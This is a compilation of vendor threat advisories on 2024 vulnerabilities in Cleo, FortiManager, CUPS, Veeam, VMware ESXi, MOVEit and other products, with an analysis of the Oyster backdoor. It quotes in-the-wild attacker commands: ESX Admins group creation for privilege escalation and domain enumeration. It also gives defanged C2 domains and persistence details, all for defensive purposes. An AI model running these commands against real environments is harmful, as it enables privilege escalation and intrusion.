Lateral movement
Use Alternate Authentication Material: Pass the Hash (T1550/002)
On Monday, December 9, multiple security firms began privately circulating reports of in-the-wild exploitation targeting Cleo file transfer software. Late the evening of December 9, security firm Huntress published a blog on active exploitation of three different Cleo products (docs):
Cleo VLTrader, a server-side solution for “mid-enterprise organizations”
Cleo Harmony, which provides file transfer capabilities for “large enterprises”
Cleo LexiCom, a desktop-based client for communication with major trading networks
Huntress’s blog says the exploitation they’re seeing across Cleo products results from an insufficient patch for CVE-2024-50623, a vulnerability disclosed in Cleo VLTrader, Cleo Harmony, and Cleo LexiCom in October 2024. Cleo indicated that the vulnerability was fixed in version 5.8.0.21 of all three solutions, but according to Huntress, 5.8.0.21 remains vulnerable to exploitation. CVE-2024-50623 is a cross-site scripting issue (CWE-79) that allows for unauthenticated remote code execution on target systems.
Update: Cleo evidently communicated with customers on December 10 acknowledging a “critical vulnerability in Cleo Harmony, VLTrader, and LexiCom that could allow an unauthenticated user to import and execute arbitrary bash or PowerShell commands on the host system by leveraging the default settings of the Autorun directory.”
As of December 10, Rapid7 MDR has confirmed successful exploitation of this issue in customer environments; similar to Huntress, our team has observed enumeration and post-exploitation activity and is investigating multiple incidents.
File transfer software continues to be a target for adversaries, and for financially motivated threat actors in particular. Rapid7 recommends taking emergency action to mitigate risk related to this threat.
Mitigation guidance
The following products and versions are vulnerable to CVE-2024-50623. The information below contradicts previous vendor guidance, which indicated that 5.8.0.21 resolved the issue. Cleo has updated their advisory as of December 10, 2024 to confirm 5.8.0.21 is still vulnerable.
Cleo Harmony before and including version 5.8.0.21
Cleo VLTrader before and including version 5.8.0.21
Cleo LexiCom before and including version 5.8.0.21
According to Huntress, “Cleo is preparing a new CVE designation and expects a new patch to be released mid-week.”
In the absence of an effective patch for CVE-2024-50623 (and any other CVEs that may be assigned to this exploit), Cleo customers should remove affected products from the public internet, ensuring they are behind a firewall. Per Huntress’s investigation, disabling Cleo’s Autorun Directory, which allows command files to be automatically processed, may also prevent the latter part of the attack chain from being executed.
Huntress’s blog has several descriptions of post-exploitation activity, including attack chain artifacts, commands run, and files dropped for persistence. Rapid7 recommends that affected customers review these indicators and investigate their environments for suspicious activity dating back to at least December 3, 2024.
Rapid7 customers
InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-50623 on Windows with an authenticated vulnerability check expected to be available in today’s (Tuesday, December 10) content release. Please note that content releases are typically available late in the evening ET on Patch Tuesday.
InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7’s expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of rules deployed and alerting on behavior related to this threat:
Suspicious Process – XORed Data in PowerShell
Suspicious Process – PowerShell System.Net.Sockets.TcpClient
Attacker Behavior – Possible Cleo MFT Exploitation 2024
On Friday, November 8, 2024, cybersecurity firm Palo Alto Networks (PAN) published a bulletin (PAN-SA-2024-0015) advising firewall customers to take steps to secure their firewall management interfaces amid unverified rumors of a possible new vulnerability. Rapid7 threat intelligence teams have also been monitoring rumors of a possible zero-day vulnerability, but until now, those rumors have been unsubstantiated.
Late in the evening of Thursday, November 14, the Palo Alto Networks advisory was updated to note that PAN had “observed threat activity exploiting an unauthenticated remote command execution vulnerability against a limited number of firewall management interfaces which are exposed to the Internet.” The firm indicated they are actively investigating. As of the morning of Friday, November 15, there is no CVE or fix for the issue PAN has identified.
Per the vendor bulletin:
Risk of exploitation is currently believed to be limited if access to the management interface access is restricted
No specific indicators of compromise (IOCs) are currently available
If the firewall management interface was exposed to the internet, PAN advises customers to monitor for suspicious threat activity (e.g., unrecognized configuration changes or users)
Prisma Access and Cloud NGFW are believed not to be affected, per the advisory; if this changes, Rapid7 will update this blog
Mitigation guidance
In lieu of a fix, Palo Alto Networks customers should ensure access to the firewall management interface is configured correctly in accordance with PAN’s recommended best practice deployment guidelines — namely, that access is restricted to trusted internal IPs only and the management interface is not exposedor accessible to the internet. More guidance is available here.
The Palo Alto Networks advisory also has directions on identifying internet-facing management interfaces and/or devices that may otherwise require remediation action. Rapid7 strongly recommends reviewing the advisory and configuration guidance. We will update this blog with further information as it becomes available, but as always, we encourage Palo Alto Networks customers to refer to the vendor advisory for the latest information.
On Wednesday, October 23, 2024, security company Fortinet published an advisory on CVE-2024-47575, a critical zero-day vulnerability affecting their FortiManager network management solution. The vulnerability arises from a missing authentication for a critical function [CWE-306] in the FortiManager fgfmd daemon that allows a remote unauthenticated attacker to execute arbitrary code or commands via specially crafted requests. The vulnerability carries a CVSS v3 score of 9.8.
Fortinet’s advisory notes that CVE-2024-47575 has been “reported” as exploited in the wild. Rapid7 customers have also reported receiving communications from service providers indicating the vulnerability may have been exploited in their environments. According to the vendor, “The identified actions of this attack in the wild have been to automate via a script the exfiltration of various files from the FortiManager which contained the IPs, credentials and configurations of the managed devices.” Rapid7 strongly recommends reviewing the vendor advisory for indicators of compromise and mitigation strategies.
Background
Since roughly October 13, there have been private industry discussions and a number of public posts on Reddit, Twitter, and Mastodon about a rumored zero-day vulnerability in FortiManager. Public Reddit conversations indicated that Fortinet contacted some of their customers by email circa October 15 to “privately disclose” a FortiManager vulnerability and advise on mitigations. Despite embargoed communications and the publication of several newsarticles, neither a public advisory nor a CVE was issued until October 23.
On the evening of October 22, high-profile cybersecurity researcher Kevin Beaumont published a blog alleging that a state-sponsored adversary has been using this FortiManager zero-day vulnerability in espionage attacks. While Fortinet’s advisory doesn’t include any information about specific adversaries exploiting the vulnerability, Fortinet devices have long been popular targets for state-sponsored threat actors.
Mitigation guidance
Per Fortinet’s advisory, the following versions of FortiManager are vulnerable to CVE-2024-47575 and have mitigation guidance available:
FortiManager 7.6.0
FortiManager 7.4.0 through 7.4.4
FortiManager 7.2.0 through 7.2.7
FortiManager 7.0.0 through 7.0.12
FortiManager 6.4.0 through 6.4.14
FortiManager 6.2.0 through 6.2.12
FortiManager Cloud 7.4.1 through 7.4.4
FortiManager Cloud 7.2 (all versions)
FortiManager Cloud 7.0 (all versions)
FortiManager Cloud 6.4 (all versions)
The advisory indicates FortiManager Cloud 7.6 is not affected.
FortiManager customers should update to a supported, fixed version on an emergency basis, without waiting for a regular patch cycle to occur. See the vendor advisory for the latest list of fixed versions. A workaround is also available for some versions.
Fortinet’s advisory also includes a list of indicators of compromise (IOCs) that FortiManager customers should look for in their environments.
Rapid7 customers
InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-47575 with an authenticated check expected to be available in the Wednesday, October 23 content release.
On Thursday, September 26, 2024, a security researcher publicly disclosed several vulnerabilities affecting different components of OpenPrinting’s CUPS (Common Unix Printing System). CUPS is a popular IPP-based open-source printing system primarily (but not only) for Linux and UNIX-like operating systems. According to the researcher, a successful exploit chain allows remote unauthenticated attackers to replace existing printers’ IPP URLs with malicious URLs, resulting in arbitrary command execution when a print job is started from the target device.
The vulnerabilities disclosed by the researcher are:
CVE-2024-47176: Affects cups-browsed <= 2.0.1. The service binds on UDP *:631, trusting any packet from any source to trigger a Get-Printer-Attributes IPP request to an attacker-controlled URL.
CVE-2024-47076: Affects libcupsfilters <= 2.1b1. cfGetPrinterAttributes5 does not validate or sanitize the IPP attributes returned from an IPP server, providing attacker-controlled data to the rest of the CUPS system.
CVE-2024-47175: Affects libppd <= 2.1b1. The ppdCreatePPDFromIPP2 API does not validate or sanitize the IPP attributes when writing them to a temporary PPD file, allowing the injection of attacker-controlled data in the resulting PPD.
CVE-2024-47177: Affects cups-filters <= 2.0.1. The foomatic-rip filter allows arbitrary command execution via the FoomaticRIPCommandLine PPD parameter.
According to the researcher’s disclosure blog, affected systems are exploitable from the public internet, or across network segments, if UDP port 631 is exposed and the vulnerable service is listening. CUPS is enabled by default on most popular Linux distributions, but exploitability may vary across implementations. As of 6 PM ET on Thursday, September 26, Red Hat has an advisory available noting that they consider this group of vulnerabilities of Important severity rather than Critical.
Mitigation guidance
We expect patches and remediation guidance to be forthcoming from affected vendors and distributions over the next few days. While the vulnerabilities are not known to be exploited in the wild at time of disclosure, technical details were leaked before the issues were released publicly, which may mean attackers and researchers have had opportunity to develop exploit code. We advise applying patches and/or mitigations as soon as they are available as a precaution, even if exploitability is more limited in some implementations.
Additional mitigation guidance:
Disable and remove the cups-browsed service if it is not necessary
Block or restrict traffic to UDP port 631
Rapid7 customers
InsightVM and Nexpose customers will be able to assess their exposure to these CVEs with authenticated checks that look for affected CUPS packages on UNIX-based systems. These checks are expected to be released in a second content release this evening (ETA 10 PM ET on Thursday, September 26).
We expect to update with additional checks in the coming days as vendors release fixes and more information.
Rapid7 is warning customers about several high-risk vulnerabilities in common enterprise technologies that are attractive potential attack targets for both state-sponsored and financially motivated adversaries. We are advising customers to prioritize remediation for these issues on an expedited basis wherever possible:
CVE-2024-41874: Critical remote code execution vulnerability in Adobe ColdFusion
CVE-2024-38812, CVE-2024-38813: Remote code execution and privilege escalation vulnerabilities (respectively) in Broadcom VMware vCenter Server and Cloud Foundation
On September 10, 2024, Adobe published a critical advisory for CVE-2024-41874, an unauthenticated remote code execution issue that occurs as a result of unsafe Web Distributed Data eXchange (“Wddx”) packet deserialization. Rapid7 MDR has previously observed exploitation that targets Wddx for remote code execution; we have also previously observed exploitation of multiple other ColdFusion CVEs.
Affected products and mitigation: Adobe ColdFusion 2023 (update 9 and earlier) and Adobe ColdFusion 2021 (update 15 and earlier) are vulnerable to CVE-2024-41874. The vulnerability is resolved in versions 10 and 16, respectively. For more information, see the vendor advisory.
Broadcom VMware vCenter Server CVEs
On September 17, 2024, Broadcom published an advisory on CVE-2024-38812, a critical heap overflow vulnerability affecting VMware vCenter Server. Successful exploitation of CVE-2024-38812 allows an attacker with network access to the vulnerable server to execute code remotely on the target system. CVE-2024-38813, a local privilege escalation vulnerability, was also reported by the same researchers, making this a full-chain exploit. We are not aware of exploitation in the wild as of September 19, 2024, but vCenter Server is a high-value attack target for ransomware and extortion groups.
Affected products and mitigation: Broadcom VMware vCenter Server 7.0 and 8.0 are vulnerable to CVE-2024-38812 and CVE-2024-38813. Fixes are available as indicated in the vendor advisory. Broadcom also has an FAQ available.
Ivanti Endpoint Manager CVE-2024-29847
On September 10, 2024, Ivanti published a security advisory on CVE-2024-29847, an unsafe deserialization vulnerability in Ivanti Endpoint Manager (EPM) solution. Successful exploitation allows unauthenticated attackers to execute code remotely on target systems. Vulnerability details and proof-of-concept exploit code are available.
Affected products and mitigation: Ivanti Endpoint Manager (EPM) 2022 SU5 (and earlier) and EPM 2024 are vulnerable to CVE-2024-29847. Customers using EPM 2022 can remediate this and other recent vulnerabilities by updating to 2022 SU 6. Per Ivanti’s security advisory, EPM 2024 customers can apply an available security patch while waiting for 2024 SU1, which is yet to be released. See Ivanti’s advisory for the latest information.
Rapid7 customers
InsightVM and Nexpose customers can assess their exposure to Adobe ColdFusion CVE-2024-41874 and Broadcom VMware vCenter Server CVE-2024-28812 and CVE-2024-38813 with vulnerability checks released previously. A vulnerability check for Ivanti EPM CVE-2024-29847 is in development and is expected to be available in tomorrow’s (Friday, September 20) content release.
On August 22, 2024, security firm SonicWall published an advisory on CVE-2024-40766, a critical improper access control vulnerability affecting SonicOS, the operating system that runs on the company’s physical and virtual firewalls. While CVE-2024-40766 was not known to be exploited in the wild at the time it was initially disclosed, the SonicWall advisory was later updated to note that “this vulnerability is potentially being exploited in the wild.”
As of September 9, 2024, Rapid7 is aware of several recent incidents (both external and Rapid7-observed) in which SonicWall SSLVPN accounts were targeted or compromised, including by ransomware groups; evidence linking CVE-2024-40766 to these incidents is still circumstantial, but given adversary interest in the software in general, Rapid7 strongly recommends remediating on an emergency basis. Vulnerabilities like CVE-2024-40766 are frequently used for initial access to victim environments.
SonicWall’s advisory indicates CVE-2024-40766 is an improper access control vulnerability “in the SonicWall SonicOS management access and SSLVPN, potentially leading to unauthorized resource access and in specific conditions, causing the firewall to crash.” The vulnerability was added to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) list of known exploited vulnerabilities (KEV) on September 9, 2024.
Mitigation guidance
Per the vendor advisory, CVE-2024-40766 affects SonicWall Gen 5 and Gen 6 devices, as well as Gen 7 devices running SonicOS 7.0.1-5035 and older versions.
Affected versions and platforms include:
SOHO (Gen 5): 5.9.2.14-12o and older versions affected
Gen6 Firewalls: 6.5.4.14-109n and older versions affected (see the advisory for a full list of affected devices)
Gen7 Firewalls: SonicOS build version 7.0.1-5035 and older versions affected, but SonicWall recommends installing the latest firmware (see the advisory for a full list of affected devices)
SonicWall recommends restricting firewall management access to trusted sources and/or ensuring firewall WAN management is not accessible from the public internet. They similarly recommend that SSLVPN access is limited to trusted sources, and/or disabling SSLVPN access from the internet.
Rapid7 customers
Our InsightVM engineering team is investigating options for coverage of CVE-2024-40766. We will update this blog with further information no later than 10 AM ET on Tuesday, September 10.
On Wednesday, September 4, 2024, backup and recovery software provider Veeam released their September security bulletin disclosing various vulnerabilities in Veeam products. One of the higher-severity vulnerabilities included in the bulletin is CVE-2024-40711, a critical unauthenticated remote code execution issue affecting Veeam’s popular Backup & Replication solution. Notably, upon initial disclosure, the Veeam advisory listed the CVSS score for CVE-2024-40711 as “high” rather than “critical” — as of Monday, September 9, however, the CVSS score is listed as 9.8, which confirms exploitation is fully unauthenticated.
Five other CVEs were also disclosed in Backup & Replication, including several that allow users who have been assigned low-privileged roles to alter multi-factor authentication (MFA) settings, achieve remote code execution as a service account, and extract sensitive data (e.g., credentials, passwords). Other vulnerabilities in the bulletin affect additional Veeam offerings — notably, there are also two critical vulnerabilities in Veeam Service Provider Console.
While CVE-2024-40711 has received attention from security media and community members, we are not aware of any known exploitation as of Monday, September 9, 2024. Veeam Backup & Replication has a large deployment footprint, however, and several previousvulnerabilities affecting the software have been exploited in the wild, including by ransomware groups. It is possible that one or more of these vulnerabilities may be used to facilitate extortion attacks. More than 20% of Rapid7 incident response cases in 2024 so far have involved Veeam being accessed or exploited in some manner, typically once an adversary has already established a foothold in the target environment.
Mitigation guidance
The following vulnerabilities affect Veeam Backup & Replication 12.1.2.172 and all earlier version 12 builds, per the vendor advisory:
CVE-2024-40713: Allows a low-privileged user to alter MFA settings and bypass MFA (CVSS 8.8)
CVE-2024-40710: Covers multiple issues, per the advisory, including one that allows for remote code execution as the service account and enables extraction of saved credentials and passwords (CVSS 8.8)
CVE-2024-39718: Allows a low-privileged user to remotely remove files on the system with permissions equivalent to those of the service account (CVSS 8.1)
CVE-2024-40714: A vulnerability in TLS certificate validation allows an attacker on the same network to intercept sensitive credentials during restore operations (CVSS 8.3)
CVE-2024-40712: A path traversal vulnerability allows an attacker with a low-privileged account and local access to the system to perform local privilege escalation (CVSS 7.8)
Veeam Backup & Replication customers should update to the latest version of the software (12.2 build 12.2.0.334) immediately, without waiting for a regular patch cycle to occur. Unsupported software versions were not tested but, per the vendor, should be considered vulnerable.
Other CVEs in Veeam’s September 4 security bulletin affect Veeam Agent for Linux, Veeam ONE, Veeam Service Provider Console, Veeam Backup for Nutanix AHV, and Veeam Backup for Oracle Linux Virtualization Manager and Red Hat Virtualization.
Rapid7 customers
InsightVM and Nexpose customers will be able to assess their exposure to the Veeam Backup & Replication CVEs listed in this blog with vulnerability checks expected to be available in today’s (Monday, September 9) content release.
On Monday, July 29, Microsoft published an extensive threat intelligence blog on observed exploitation of CVE-2024-37085, an Active Directory integration authentication bypass vulnerability affecting Broadcom VMware ESXi hypervisors. The vulnerability, according to Redmond, was identified in zero-day attacks and has evidently been used by at least half a dozen ransomware operations to obtain full administrative permissions on domain-joined ESXi hypervisors (which, in turn, enables attackers to encrypt downstream file systems). CVE-2024-37085 was one of multiple issues fixed in a June 25 advisory from Broadcom; it appears to have been exploited as a zero-day vulnerability.
Per Broadcom’s advisory, successful exploitation of CVE-2024-37085 allows attackers “with sufficient Active Directory (AD) permissions to gain full access to an ESXi host that was previously configured to use AD for user management by re-creating the configured AD group (‘ESXi Admins’ by default) after it was deleted from Active Directory.”
Notably, Broadcom’s advisory differs from Microsoft’s description, which says: “VMware ESXi hypervisors joined to an Active Directory domain consider any member of a domain group named "ESX Admins" to have full administrative access by default. This group is not a built-in group in Active Directory and does not exist by default. ESXi hypervisors do not validate that such a group exists when the server is joined to a domain and still treats any members of a group with this name with full administrative access, even if the group did not originally exist.”
Also of note: While the VMware advisory indicates ESXi Admins is the default AD group, the Microsoft observations quoted in this blog all indicate use of ESX Admins rather than ESXi Admins.
ESXi hypervisors have been a popular target for ransomware groups in years past. Notably, since ESXi should not be internet-exposed, we would not expect CVE-2024-37085 to be an initial access vector — adversaries will typically need to have already obtained a foothold in target environments to be able to exploit the vulnerability to escalate privileges.
Exploitation
Microsoft researchers discovered CVE-2024-37085 after it was used as a post-compromise attack technique used by a number of ransomware operators, including Storm-0506, Storm-1175, Octo Tempest, and Manatee Tempest. The attacks Microsoft observed included use of the following commands, which first create a group named “ESX Admins” in the domain and then adds a user to that group:
net group “ESX Admins” /domain /add net group “ESX Admins” username /domain /add
Microsoft identified three methods for exploiting CVE-2024-37085, including the in-the-wild technique described above:
Adding the “ESX Admins” group to the domain and adding a user to it (observed in the wild): If the “ESX Admins” group doesn’t exist, any domain user with the ability to create a group can escalate privileges to full administrative access to domain-joined ESXi hypervisors by creating such a group, and then adding themselves, or other users in their control, to the group.
Renaming any group in the domain to “ESX Admins” and adding a user to the group or using an existing group member: This requires an attacker to have access to a user that has the capability to rename arbitrary groups (i.e., by renaming one of them “ESX Admins”). The threat actor can then add a user, or leverage a user that already exists in the group, to escalate privileges to full administrative access.
ESXi hypervisor privileges refresh: Even if the network administrator assigns any other group in the domain to be the management group for the ESXi hypervisor, the full administrative privileges to members of the “ESX Admins” group are not immediately removed and threat actors still could abuse it.
Mitigation guidance
The following products and versions are vulnerable to CVE-2024-37085:
The Broadcom advisory on CVE-2024-37085 links to a workaround that modifies several advanced ESXi settings to be more secure; the workaround page notes that for all versions of ESXi (prior to ESXi 8.0 U3), “several ESXi advanced settings have default values that are not secure by default. The AD group "ESX Admins" is automatically given the VIM Admin role when an ESXi host is joined to an Active Directory domain.”
Broadcom VMware ESXi and Cloud Foundation customers should update to a supported fixed version as soon as possible. Administrators who are unable to update should implement workaround recommendations in the interim. ESXi servers should never be exposed to the public internet. Microsoft has additional recommendations on mitigating risk of exploitation in their blog.
Rapid7 customers
InsightVM and Nexpose customers who use ESXi hypervisors within their environments can assess their exposure to CVE-2024-37085 for the 8.x version stream with a vulnerability check available since June 2024. Support for scanning 7.0 is expected to be available in the July 30 content release.
InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7’s expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this vulnerability:
Attacker Technique – Creation of "ESX Admins" Domain Group using Net.exe
On June 25, 2024, Progress Software published information on two new vulnerabilities in MOVEit Transfer and MOVEit Gateway: CVE-2024-5806, a high-severity authentication bypass affecting the MOVEit Transfer SFTP service in a default configuration, and CVE-2024-5805, a critical SFTP-associated authentication bypass vulnerability affecting MOVEit Gateway. Attackers can exploit these improper authentication vulnerabilities to bypass SFTP authentication and gain access to MOVEit Transfer and Gateway.
CVE-2024-5806 is an improper authentication vulnerability affecting the MOVEit Transfer SFTP service that can lead to authentication bypass. Rapid7 researchers tested a MOVEit Transfer 2023.0.1 instance, which appeared to be vulnerable in the default configuration. As of June 25, the known criteria for exploitation are threefold: that attackers have knowledge of an existing username, that the target account can authenticate remotely, and that the SFTP service is exposed. It’s possible that attackers may spray usernames to identify valid accounts. Rapid7 recommends installing the vendor-provided patches for CVE-2024-5806 on an emergency basis, without waiting for a regular patch cycle to occur.
According to Progress Software’s advisory, CVE-2024-5805 is a critical authentication bypass vulnerability that affects the SFTP feature of the MOVEit Gateway software in version 2024.0.0; earlier versions do not appear to be vulnerable, which likely limits available attack surface area. MOVEit Gateway is an optional component designed to proxy traffic to and from MOVEit Transfer instances. A patch is available for CVE-2024-5805 and should be applied on an emergency basis for organizations running MOVEit Gateway.
Progress MOVEit is an enterprise file transfer suite, which inherently makes it a highly desirable target for threat actors. Since enterprise file transfer software typically holds a large volume of confidential data, smash-and-grab attackers target these solutions to extort victims. In June 2023, an unauthenticated attack chain targeting MOVEit Transfer was widely exploited by the Cl0p ransomware group. Shodan queries indicate that there are approximately 1,000 public-facing MOVEit Transfer SFTP servers and approximately 70 public-facing MOVEit Gateway SFTP servers. (Note that not all of these may be vulnerable to these latest CVEs.)
Notably, Rapid7 observed that installers for the patched (latest) version of the MOVEit Transfer have been available on VirusTotal since at least June 11, 2024. Vulnerability details and proof-of-concept exploit code are publicly available for MOVEit Transfer CVE-2024-5806 as of June 25, 2024.
Mitigation guidance
MOVEit customers should apply vendor-provided updates for both vulnerabilities immediately.
The following versions of MOVEit Transfer are vulnerable to CVE-2024-5806:
The advisory notes that “Customers using the MOVEit Cloud environment were patched and are no longer vulnerable to this exploit.”
Only MOVEit Gateway 2024.0.0 is vulnerable to CVE-2024-5805, per the vendor advisory. The vulnerability is fixed in MOVEit Gateway 2024.0.1. The advisory indicates that “MOVEit Cloud does not use MOVEit Gateway, so no further action is needed by MOVEit Cloud customers.”
Rapid7 customers
InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-5805 and CVE-2024-5806 with authenticated vulnerability checks expected to be available in today’s (June 25) content release.
The following analysts contributed to this blog: Thomas Elkins, Daniel Thiede, Josh Lockwood, Tyler McGraw, and Sasha Kovalev.
Executive Summary
Rapid7 has observed a recent malvertising campaign that lures users into downloading malicious installers for popular software such as Google Chrome and Microsoft Teams. The installers were being used to drop a backdoor identified as Oyster, aka Broomstick. Following execution of the backdoor, we have observed enumeration commands indicative of hands-on-keyboard activity as well as the deployment of additional payloads.
In this blog post, we will examine the delivery methods of the Oyster backdoor, provide an in-depth analysis of its components, and offer a Python script to help extract its obfuscated configuration.
Overview
Initial Access
In three separate incidents, Rapid7 observed users downloading supposed Microsoft Teams installers from typo-squatted websites. Users were directed to these websites after using search engines such as Google and Bing for Microsoft Teams software downloads. Rapid7 observed that the websites were masquerading as Microsoft Teams websites, enticing users into believing they were downloading legitimate software when, in reality, they were downloading the threat actor’s malicious software.
Figure 1 – Fake Microsoft Teams Website
In one case, a user was observed navigating to the URL hxxps://micrsoft-teams-download[.]com/, which led to the download of the binary MSTeamsSetup_c_l_.exe. Initial analysis of the binary MSTeamsSetup_c_l_.exe showed that the binary was assigned by an Authenticode certificate issued to “Shanxi Yanghua HOME Furnishings Ltd”.
Figure 2 – MSTeamsSetup_c_l_.exe File Information
Searching VirusTotal for other files signed by “Shanxi Yanghua HOME Furnishings Ltd” showed the following:
Figure 3 – VirusTotal Signature Search Results
The results indicated other versions of the installer, each impersonating as a legitimate software installer. We observed that the first installer was submitted to VirusTotal around mid-May 2024.
In a related incident that occurred on May 29, 2024, we observed another binary posing as a Microsoft Teams setup file, TMSSetup.exe, which was assigned a valid certificate issued to “Shanghai Ruikang Decoration Co., Ltd”. As of May 30, 2024, that certificate has been revoked.
VirusTotal analysis of the binary MSTeamsSetup_c_l_.exe indicates it is associated with a malware family known as Oyster, dubbed Broomstick by IBM.
What is Oyster/Broomstick?
Oyster aka Broomstick aka CleanUpLoader is a family of malware first spotted in September of 2023 by researchers at IBM. While not much is known about the malware, it was delivered via a loader called Oyster Installer, which masqueraded as a browser installer. The installer was responsible for dropping the backdoor component, Oyster Main. Oyster Main was responsible for gathering information about the compromised host, handling communication with the hard-coded command-and-control (C2) addresses, and providing the capability for remote code execution.
In February, researchers on Twitter observed the same backdoor component and started to name the Oyster Main backdoor, CleanUpLoader.
In recent incidents, Rapid7 has observed Oyster Main being delivered without the Oyster Installer.
Technical Analysis
Initial analysis of the binary MSTeamsSetup_c_l_.exe revealed that two binaries were stored within the resource section. During execution, a function was observed using FindResourceA to locate the binaries, followed by LoadResource to access them. These binaries were then subsequently dropped into the Temp folder. We observed that the intended names of the two binaries dropped by MSTeamsSetup_c_l_.exe were CleanUp30.dll and MSTeamsSetup_c_l_.exe (the legitimate Microsoft Teams installer).
After dropping the binary CleanUp30.dll into the Temp directory, the program executes the DLL, passing the string rundll32.exe %s,Test to the function CreateProcessA, where %s stores the value CleanUp30.dll.
Figure 4 – Execution of CleanUp30.dll
After the execution of CleanUp30.dll, the program proceeds to initiate the legitimate Microsoft Teams installer, MSTeamsSetup_c_l_.exe, also located within the Temp directory. This tactic is employed to avoid raising suspicion from the user.
CleanUp30.dll Analysis
During the execution of CleanUp30.dll, Rapid7 observed that the binary starts by attempting to create the hard coded mutual exclusion (mutex) ITrkfSaV-4c7KwdfnC-Ds165XU4C-lH6R9pk1. Mutex creation is often used by programs in order to determine if the program is already running another instance. If the program is already running, the program will terminate the new instance.
After creating the mutex, the binary determines its execution path by calling the function GetModuleFilenameA. The value is stored as a string and used as a parameter for the creation of a scheduled task, ClearMngs. The scheduled task is created using the function ShellExecuteExW, passing the following as the command line:
The purpose of the scheduled task ClearMngs is to execute the binary <location of binary>\CleanUp30.dll with the exported function of Test using rundll32.exe every three hours.
After the creation of the scheduled task, the binary then proceeds to decode its C2 servers using a unique decoding function. The decoding function begins by taking in a string of encoded characters, and its length is in bytes. The decoding function then proceeds to read in each byte, starting from the end of the encoded string.
Figure 5 – The DLL’s Decoding Loop
Each byte of the encoded string is used as an index location to retrieve the decoded byte from a hard-coded byte map. A byte map is a byte array containing 256 bytes in a randomized order, one for each possible byte value from 1 to 256. Malware authors sometimes use this technique to obfuscate strings and other data. The iteration counter (i) used within the condition for the decoding loop is compared to half of the encoded string’s length as the decoding loop swaps two bytes at a time. The bytes of the encoded string are decoded and swapped beginning at the start and end bytes of the string and the decoding loop then progresses towards the center of the string from each end.
The loop swaps the bytes to reverse the decoded string, as the original plaintext strings stored in the malware were reversed prior to encoding. When the center of the string is reached, the decoding process is complete. Due to this algorithm, all the encoded strings that are passed must be of even length to avoid further processing. Immediately after the decoded string is loaded onto the stack, the malware then re-encodes the string using a similar loop. The final result for the first decoded string is a carriage return line feed (CRLF) delimited list of C2 domains.
We constructed a Python script that can decode all the encoded strings contained within the CleanUp.dll binaries, including previous versions. The Python script can be found in our GitHub repository.
Figure 6 – Sample Output from Python Script
Using our Python script, it revealed some of the C2 functionality, along with several JSON fields that are used to build a fingerprint of the infected system:
After the binary decodes the C2 addresses, the program proceeds to fingerprint the infected machine, using the following functions:
Function
Description
DsRoleGetPrimaryDomainInformation
Used to gather information about the domain the compromised machine resides in. In particular, the function returns the domain name.
GetUserNameW
Provides the name of the user in which the program is running under.
NetUserGetInfo
Provides details of the user under which the program is running. In this case, the program is querying if the user is admin or user.
GetComputerNameW
Provides the name of the compromised machine in which the binary is running on.
RtlGetVersion
Returns version information about the currently running operating system including name and version number.
Figure 7 – A Selection of Contents of the CleanUp30.dll Code that Outline the Collection of System Information
While enumerating information about the host, the information is stored in the JSON fields uncovered from the encoded strings identified above.
Figure 8 – Example of the Data Collected and Sent via HTTP POST to the Malicious Domains
The fingerprint information is encoded using the same loop previously discussed, where the data string is reversed and encoded using a byte map before being sent.
After the information is encoded, it is sent to the domains whereverhomebe[.]com/, supfoundrysettlers[.]us/, and retdirectyourman[.]eu/ via HTTP POST method. Rapid7 determined that CleanUp30.dll uses the open-source C++ library Boost.Beast to communicate with the observed C2 domains via HTTP and web sockets.
Figure 9 – Captured Network Traffic Attempting to Send POST Requests to whereverhomebe[.]com/ and supfoundrysettlers[.]us/ Following the Execution of CleanUp30.dll
Follow-on Activity
In one of the incidents Rapid7 observed, a PowerShell script was spawned following the execution of another version of CleanUp30.dll, CleanUp.dll. CleanUp.dll, similar to CleanUp30.dll, was originally dropped by the other fake Microsoft Teams installer, TMSSetup.exe, which dropped the binary into the AppData/Local/Temp directory as well.
The purpose of the PowerShell script was to create a shortcut LNK file named DiskCleanUp.lnk within C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\. By doing so, this ensured that the LNK file DiskCleanUp.lnk would be run each time the user logged in. The shortcut LNK file was responsible for executing the binary CleanUp.dll using rundll32.exe, passing the export Test.
Following the execution of the PowerShell script, Rapid7 observed execution of additional payloads:
k1.ps1
main.dll
getresult.exe
Unfortunately, during the incident, we were unable to acquire the additional payloads. During the incidents, Rapid7 also observed execution of the following enumeration commands:
Enumeration
Description
systeminfo
Provides information about the system’s software and hardware configuration
arp -a
Shows a list of all IP addresses that the local computer has recently interacted with, along with their corresponding MAC addresses
net group ‘domain computers’ /domain
Lists the "Domain Computers" group within an Active Directory domain
Queries the registry to find information about installed software
findstr "DisplayName"
Used to filter information, showing only items contained under "DisplayName"
Rapid7 Customers
InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7’s expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this malware campaign:
Persistence – SchTasks Creating A Task Pointed At Users Temp Or Roaming Directory
Suspicious Process: RunDLL32 launching CMD or PowerShell
Persistence – Schtasks.exe Creating Task That Executes RunDLL32
On June 5, 2024, SolarWinds disclosed CVE-2024-28995, a high-severity directory traversal vulnerability affecting their Serv-U file transfer server, which comes in two editions (Serv-U FTP and Serv-U MFT). Successful exploitation of the vulnerability allows unauthenticated attackers to read sensitive files on the target server. Rapid7’s vulnerability research team has reproduced the vulnerability and confirmed that it’s trivially exploitable and allows an external unauthenticated attacker to read any file on disk, including binary files, so long as they know the path and the file is not locked (i.e., opened exclusively by something else).
CVE-2024-28995 is not known to be exploited in the wild as of 9 AM ET on June 11. We expect this to change; Rapid7 recommends installing the vendor-provided hotfix (Serv-U 15.4.2 HF 2) immediately, without waiting for a regular patch cycle to occur.
